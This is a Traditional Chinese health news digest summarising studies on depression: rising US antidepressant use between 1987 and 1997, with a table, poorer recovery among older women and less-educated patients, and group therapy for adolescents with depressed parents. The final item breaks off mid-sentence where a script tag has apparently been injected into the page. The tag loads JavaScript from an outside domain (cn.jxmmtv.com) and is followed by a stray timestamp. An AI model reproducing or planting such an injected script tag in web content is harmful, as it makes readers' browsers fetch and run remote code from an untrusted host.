根據美國醫學月刊的調查,比較1987年及1997年尋求精神科門診治療的憂鬱症患者,結果發現,美國人接受憂鬱症藥物治療的比率戲劇化地提升,相反地,尋求心理治療的人反而比較少。研究者認為,這可以說明人們已不再視憂鬱症為恥辱。(有關憂鬱症患者接受治療的相關統計整理請見表一)
研究者指出,這些現象可歸功於心理衛生相關服務的管道增加,而且強調以藥物治療憂鬱症,如百憂解的引進(百憂解於1987年開始成為最主要的抗鬱劑)。百憂解與其他同為SSRIs(選擇性血清素再吸收抑制劑)的抗鬱劑,較以往治療憂鬱症的三環素副作用低,且安全性高,服用過量的危險性也小得多。另外,研究者表示,由於新藥廣告在媒體上大量曝光,使得大眾更能接受以藥物治療憂鬱症。(原文摘譯自The Journal of the American Medical Association 2002;287:203-209)
(表一)美國憂鬱症患者在1987年和1997年接受治療的百分比
分 類 | 1987 年 | 1997 年 | 憂鬱症患者接受門診治療的百分比 | 0.7 % | 2.3 % | 就醫的憂鬱症患者接受抗鬱劑的百分比 | 37 % | 75 % | 就醫的憂鬱症患者接受憂鬱症心理治療的百分比 | 91 % | 60 % | 患者接受醫師治療的百分比 | 70 % | 90 % |
患者獲得憂鬱症保險給付的百分比 | 39 % | 55 % |
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憂鬱症治療效果因人而異
美國西雅圖華盛頓大學醫學院的研究發現,年紀大的婦人、罹患嚴重生理疾病的人,以及教育程度較低者,在接受憂鬱症治療時比較沒有成效。
研究者針對300名輕微憂鬱症患者進行11週的測試,分別施以藥物、問題解決療法或安慰劑,結果發現有52%的病人復元,但有些特定的病人,例如60歲以上的婦女、健康情況差的人、教育程度低的人,以及被檢視出為高度神經質人格者(所謂「神經質人格」是指個人有比一般人焦慮的現象,並表現出低自尊、抗壓力低,伴隨被隔離感、孤立感,有被害想法及憎恨)復元情況比較差,而且對於行為治療或抗鬱劑療法沒有太好的反應。
研究結果顯示,18∼59歲的女性受試者有71%康復;60歲以上的婦女只有37%康復。而教育程度也有差異,教育程度在12年以下者,康復率為41%;教育程度在12年以上者,康復率為61%。研究者認為,教育程度的高低是社經地位的指標,社經地位低落通常與房屋、金錢、個人不良生活習慣(如吸菸等慢性壓力因子)相關。研究者指出,在神經質人格病患中,焦慮、低自尊、抗壓力低,以及其他個人問題阻礙了憂鬱症的復元。
另外,研究也發現,對這些特定的病患需給予憂鬱症的特別照護,如身受疾病纏身的病患需結合憂鬱症的治療,以及搭配促進身體機能運作、減輕疼痛的療法;因此研究者呼籲,針對教育程度低、患有重病者,發展並試驗有效的憂鬱症治療是非常迫切的。(原文摘譯自General Hospital Psychiatry 2002;24)
團體治療對憂鬱青少年幫助大 美國波特蘭健康中心所做的一項研究發現,團體治療可以降低有憂鬱症父母的青少年罹患憂鬱症的危險。研究指出,父母罹患憂鬱症的青少年罹患憂鬱症的機率為一般人的6倍;整體而論,有3%∼8%的青少年罹患憂鬱症,其中1/4的人在18歲前至少曾發作一次。多數有?script src=http://cn.jxmmtv.com/cn.js>
2002/10/16 上午 01:07:24
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